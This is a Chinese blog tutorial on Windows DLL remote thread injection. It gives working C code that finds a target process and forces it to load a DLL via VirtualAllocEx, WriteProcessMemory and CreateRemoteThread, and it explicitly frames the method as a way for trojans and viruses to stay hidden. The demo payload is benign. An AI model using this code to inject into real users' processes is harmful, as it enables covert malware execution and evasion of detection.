欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

DLL远程线程注入

程序员文章站 2024-03-02 12:31:40
...

这里的 远程线程,并不是指跨计算机的,而是跨进程的,简单地说就是进程A要在进程B中创建一个线程。

无论是木马或者病毒,如果它们是EXE文件的话,运行时必定会产生一个进程,这样很容易被发现,为了不被发现,在编写病毒或者木马时,可以选择将其编写为DLL文件。DLL文件的运行不会单独创建一个进程,它的运行会被加载到进程的地址空间中,这一样以来,其隐蔽性相对较好。而人家进程本身不会加载额外的DLL文件,所以就需要强制的手段-》远程线程。

实现DLL远程注入的主要步骤:

1.通过系统进程快照(获得系统中所有的进程名),和想要注入的已知的进程名称匹配来获得该进程ID(因为后边需要通过ID得到进程句柄)

2.利用上一步获得的目标进程ID打开进程

3.在目标进程内存空间中申请大小为Length的内存空间,Length:  .dll 文件的完整路径长度  我建的DLL文件名称是 DLL.lib

4.将想要注入的DLL文件的完整路径写在目标进程中刚才申请的内存空间内。

5.创建远程线程,执行注入 

(1)得到目标进程的ID:

DWORD GetProcId()
{
	char *TargetProcessName="Demo.exe"; //这是我运行的黑窗口程序,用一个while循环
	                                    //或者一个非授信的事件将程序进程阻塞不让进程结束
	BOOL IsOk;
	PROCESSENTRY32 ProcInfo;           //这个结构体的内容包含进程的信息,在下边解释
	//获取当前运行进程快照
	HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
	//填充该结构体的大小
	ProcInfo.dwSize = sizeof(ProcInfo);
	//得到第一个进程
	IsOk = Process32First(hSnapShot,&ProcInfo);
	
	while (IsOk)
	{

	if (_tcscmp(TargetProcessName, ProcInfo.szExeFile)==0)    //比较是否是目标进程名称
		{
			return ProcInfo.th32ProcessID;            //返回目标进程ID
		}
	//继续获得下一个进程快照
		IsOk = Process32Next(hSnapShot,&ProcInfo);
	}
  return 0;
}

PROCESSENTRY32:   需要包含头文件:# include <Tlhelp32.h>  

typedef struct tagPROCESSENTRY32
{
    DWORD   dwSize;                //结构体大小
    DWORD   cntUsage;              //此进程的引用计数
    DWORD   th32ProcessID;          // 此进程ID
    ULONG_PTR th32DefaultHeapID;     //进程默认堆ID
    DWORD   th32ModuleID;           // 进程模块ID
    DWORD   cntThreads;               //进程开启的线程数
    DWORD   th32ParentProcessID;    // 父进程ID
    LONG    pcPriClassBase;         // 线程优先权
    DWORD   dwFlags;                //保留参数
    CHAR    szExeFile[MAX_PATH];    // 进程名称
} PROCESSENTRY32;

(2)注入DLL

VOID InjectDll(DWORD TargetProcId,char *DllName)
{
	char *pFunName = "LoadLibraryA";  //LoadLibrary  是一个宏 而不是一个真正的函数  所以这里要确切的函数地址
	                                                               //指定获取LoadLibraryA的地址还是LoadLibraryW的地址
	
		   //打开目标进程
	HANDLE hTargetProc = OpenProcess(PROCESS_ALL_ACCESS,FALSE,TargetProcId);
	if (hTargetProc == NULL)
	{
		return;
	}
	//获得 完整的 DLL文件路径长度
	int DllLength = strlen(DllName)+sizeof(char);    //‘\0’

	//在目标进程中申请DllLength大小的内存空间
	         //返回值是申请的地址  第二个参数是要申请的位置一般NULL   最后一个参数是内存属性 可读可写
	PVOID pDllAddress = VirtualAllocEx(hTargetProc,NULL,DllLength,MEM_COMMIT,PAGE_READWRITE);

	if (pDllAddress == NULL)
	{
		CloseHandle(hTargetProc);
		return;
	}

	//DWORD ActWriteNum = 0;

	SIZE_T ActWriteNum = 0;

	//将完整的 DLL文件路径写入  目标进程中申请的内存 空间
	WriteProcessMemory(hTargetProc,pDllAddress,DllName,DllLength,&ActWriteNum);

	//获得LoadLibraryA的函数地址

	FARPROC pFunAddress = GetProcAddress(GetModuleHandle("kernel32.dll"),pFunName);

	//创建远程线程
	//等价于 在 目标进程执行 LoadLibraryA("F:\\NewDemo\\Debug\\DLL.dll")  加载该DLL
	HANDLE hRemoteThread = CreateRemoteThread(hTargetProc,NULL,NULL,
		(LPTHREAD_START_ROUTINE)pFunAddress,	pDllAddress,0,0);


	WaitForSingleObject(hRemoteThread,INFINITE);

	CloseHandle(hRemoteThread);
	CloseHandle(hTargetProc);
}

(3)测试:

这是我Demo工程下的代码:

DLL远程线程注入

然后这个Demo进程就会一直存在。

我在DLL项目中的 DLLMAIN函数中  在 当 有进程加载的时候 写:

DLL远程线程注入

操作该注入工程的第三方项目中main函数:

	char *DllName = "F:\\NewDemo\\Debug\\DLL.dll";
	InjectDll(GetProcId(),DllName);

运行这个main函数之后,刚才Demo黑窗口中本来没有东西,这时候就出现“Demo进程被其他进程远程DLL注入”

DLL远程线程注入

相关标签: Windows编程